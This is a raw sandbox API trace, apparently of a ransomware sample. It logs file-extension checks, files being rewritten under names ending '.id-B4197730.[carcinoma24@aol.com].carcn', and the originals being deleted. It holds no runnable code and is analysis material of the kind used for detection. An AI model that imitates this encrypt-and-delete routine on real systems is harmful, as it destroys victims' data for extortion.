lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.637] lstrlenW (lpString=".xlsx") returned 5 [0312.637] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0312.637] lstrlenW (lpString=".ppt") returned 4 [0312.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0312.637] lstrlenW (lpString=".zip") returned 4 [0312.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.637] lstrlenW (lpString=".rar") returned 4 [0312.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.637] lstrlenW (lpString=".bz2") returned 4 [0312.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.637] lstrlenW (lpString=".7z") returned 3 [0312.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0312.637] lstrlenW (lpString=".dbf") returned 4 [0312.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0312.637] lstrlenW (lpString=".1cd") returned 4 [0312.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0312.637] lstrlenW (lpString=".jpg") returned 4 [0312.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.639] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.639] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0312.644] GetLastError () returned 0x0 [0312.644] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2c54, lpOverlapped=0x0) returned 1 [0312.653] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2c60, lpOverlapped=0x0) returned 1 [0312.655] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.655] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.655] SetEndOfFile (hFile=0x380) returned 1 [0312.659] CloseHandle (hObject=0x380) returned 1 [0312.659] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.659] SetEndOfFile (hFile=0x388) returned 1 [0312.666] CloseHandle (hObject=0x388) returned 1 [0312.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 1 [0312.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0312.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0312.668] lstrlenW (lpString=".doc") returned 4 [0312.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.668] lstrlenW (lpString=".docx") returned 5 [0312.668] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0312.668] lstrlenW (lpString=".pdf") returned 4 [0312.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.668] lstrlenW (lpString=".xls") returned 4 [0312.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.668] lstrlenW (lpString=".xlsx") returned 5 [0312.668] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0312.668] lstrlenW (lpString=".ppt") returned 4 [0312.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0312.668] lstrlenW (lpString=".zip") returned 4 [0312.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.668] lstrlenW (lpString=".rar") returned 4 [0312.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.668] lstrlenW (lpString=".bz2") returned 4 [0312.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.668] lstrlenW (lpString=".7z") returned 3 [0312.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0312.668] lstrlenW (lpString=".dbf") returned 4 [0312.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0312.669] lstrlenW (lpString=".1cd") returned 4 [0312.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0312.669] lstrlenW (lpString=".jpg") returned 4 [0312.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.679] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.680] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.683] GetLastError () returned 0x0 [0312.683] ReadFile (in: hFile=0x324, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x778, lpOverlapped=0x0) returned 1 [0312.692] WriteFile (in: hFile=0x374, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x780, lpOverlapped=0x0) returned 1 [0312.693] ReadFile (in: hFile=0x324, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.693] WriteFile (in: hFile=0x374, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.693] SetEndOfFile (hFile=0x374) returned 1 [0312.694] CloseHandle (hObject=0x374) returned 1 [0312.694] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.694] SetEndOfFile (hFile=0x324) returned 1 [0312.698] CloseHandle (hObject=0x324) returned 1 [0312.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 1 [0312.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0312.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0312.699] lstrlenW (lpString=".doc") returned 4 [0312.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.699] lstrlenW (lpString=".docx") returned 5 [0312.699] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0312.699] lstrlenW (lpString=".pdf") returned 4 [0312.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.699] lstrlenW (lpString=".xls") returned 4 [0312.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.699] lstrlenW (lpString=".xlsx") returned 5 [0312.699] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0312.699] lstrlenW (lpString=".ppt") returned 4 [0312.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0312.699] lstrlenW (lpString=".zip") returned 4 [0312.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.699] lstrlenW (lpString=".rar") returned 4 [0312.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.699] lstrlenW (lpString=".bz2") returned 4 [0312.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.699] lstrlenW (lpString=".7z") returned 3 [0312.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0312.699] lstrlenW (lpString=".dbf") returned 4 [0312.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0312.699] lstrlenW (lpString=".1cd") returned 4 [0312.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68 [0312.700] lstrlenW (lpString=".jpg") returned 4 [0312.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.707] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.707] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0312.711] GetLastError () returned 0x0 [0312.711] ReadFile (hFile=0x380, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0) Thread: id = 100 os_tid = 0xf94 [0291.251] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x3c30720 [0291.251] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x3c40728 [0291.252] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x797080 [0291.252] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x6) returned 0x795fd8 [0291.252] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796ea0 [0291.252] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x100000) returned 0x3e46020 [0291.255] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x797068 [0291.255] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x797068, Size=0x20) returned 0x75a1c0 [0291.255] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796f78 [0291.255] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796f78, Size=0x20) returned 0x75a350 [0291.255] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0291.255] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0291.255] Wow64DisableWow64FsRedirection (in: OldValue=0x327ff50 | out: OldValue=0x327ff50*=0x0) returned 1 [0291.255] lstrlenW (lpString="kernel32.dll") returned 12 [0291.255] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a1c0 | out: hHeap=0x700000) returned 1 [0291.255] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0291.255] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a350 | out: hHeap=0x700000) returned 1 [0291.255] Sleep (dwMilliseconds=0x64) [0291.470] lstrcmpiW (lpString1=".LOG", lpString2=".carcn") returned 1 [0291.470] lstrlenW (lpString="BCD.LOG") returned 7 [0291.470] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.470] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0291.470] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0291.470] lstrlenW (lpString=".doc") returned 4 [0291.470] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0291.470] lstrlenW (lpString=".docx") returned 5 [0291.470] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0291.470] lstrlenW (lpString=".pdf") returned 4 [0291.470] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0291.470] lstrlenW (lpString=".xls") returned 4 [0291.470] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0291.470] lstrlenW (lpString=".xlsx") returned 5 [0291.470] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0291.470] lstrlenW (lpString=".ppt") returned 4 [0291.470] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0291.470] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0291.470] lstrlenW (lpString=".zip") returned 4 [0291.470] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0291.471] lstrlenW (lpString=".rar") returned 4 [0291.471] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0291.471] lstrlenW (lpString=".bz2") returned 4 [0291.471] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0291.471] lstrlenW (lpString=".7z") returned 3 [0291.471] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0291.471] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0291.471] lstrlenW (lpString=".dbf") returned 4 [0291.471] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0291.471] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0291.471] lstrlenW (lpString=".1cd") returned 4 [0291.471] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0291.471] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0291.471] lstrlenW (lpString=".jpg") returned 4 [0291.471] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0291.471] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0291.471] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0291.471] lstrlenW (lpString=".doc") returned 4 [0291.471] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0291.471] lstrlenW (lpString=".docx") returned 5 [0291.471] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0291.471] lstrlenW (lpString=".pdf") returned 4 [0291.471] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0291.471] lstrlenW (lpString=".xls") returned 4 [0291.471] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0291.471] lstrlenW (lpString=".xlsx") returned 5 [0291.471] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0291.471] lstrlenW (lpString=".ppt") returned 4 [0291.471] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0291.472] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0291.472] lstrlenW (lpString=".zip") returned 4 [0291.472] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0291.472] lstrlenW (lpString=".rar") returned 4 [0291.472] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0291.472] lstrlenW (lpString=".bz2") returned 4 [0291.472] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0291.472] lstrlenW (lpString=".7z") returned 3 [0291.472] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0291.472] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0291.472] lstrlenW (lpString=".dbf") returned 4 [0291.472] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0291.472] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0291.472] lstrlenW (lpString=".1cd") returned 4 [0291.472] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0291.472] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0291.472] lstrlenW (lpString=".jpg") returned 4 [0291.472] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0291.473] Sleep (dwMilliseconds=0x64) [0291.750] Sleep (dwMilliseconds=0x64) [0292.131] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0292.131] lstrlenW (lpString="Content.xml") returned 11 [0292.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0292.453] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=27045) returned 1 [0292.453] CloseHandle (hObject=0x334) returned 1 [0292.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0292.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0292.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0292.454] lstrlenW (lpString=".doc") returned 4 [0292.454] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.454] lstrlenW (lpString=".docx") returned 5 [0292.454] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0292.454] lstrlenW (lpString=".pdf") returned 4 [0292.454] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.454] lstrlenW (lpString=".xls") returned 4 [0292.454] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.454] lstrlenW (lpString=".xlsx") returned 5 [0292.454] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0292.454] lstrlenW (lpString=".ppt") returned 4 [0292.454] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0292.454] lstrlenW (lpString=".zip") returned 4 [0292.454] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.454] lstrlenW (lpString=".rar") returned 4 [0292.454] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.454] lstrlenW (lpString=".bz2") returned 4 [0292.454] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.454] lstrlenW (lpString=".7z") returned 3 [0292.455] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0292.455] lstrlenW (lpString=".dbf") returned 4 [0292.455] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0292.455] lstrlenW (lpString=".1cd") returned 4 [0292.455] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0292.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0292.455] lstrlenW (lpString=".jpg") returned 4 [0292.455] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0292.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0292.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0292.455] lstrlenW (lpString=".doc") returned 4 [0292.455] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.455] lstrlenW (lpString=".docx") returned 5 [0292.455] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0292.455] lstrlenW (lpString=".pdf") returned 4 [0292.455] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.455] lstrlenW (lpString=".xls") returned 4 [0292.455] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.455] lstrlenW (lpString=".xlsx") returned 5 [0292.455] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0292.455] lstrlenW (lpString=".ppt") returned 4 [0292.455] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0292.456] lstrlenW (lpString=".zip") returned 4 [0292.456] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.456] lstrlenW (lpString=".rar") returned 4 [0292.456] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.456] lstrlenW (lpString=".bz2") returned 4 [0292.456] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.456] lstrlenW (lpString=".7z") returned 3 [0292.456] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0292.456] lstrlenW (lpString=".dbf") returned 4 [0292.456] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0292.456] lstrlenW (lpString=".1cd") returned 4 [0292.456] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0292.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0292.456] lstrlenW (lpString=".jpg") returned 4 [0292.456] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0292.456] Sleep (dwMilliseconds=0x64) [0292.898] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0292.898] lstrlenW (lpString="AG00169_.GIF") returned 12 [0292.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0292.898] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=5375) returned 1 [0292.898] CloseHandle (hObject=0x374) returned 1 [0292.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0292.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0292.899] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.899] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0292.900] GetLastError () returned 0x0 [0292.900] ReadFile (in: hFile=0x374, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x14ff, lpOverlapped=0x0) returned 1 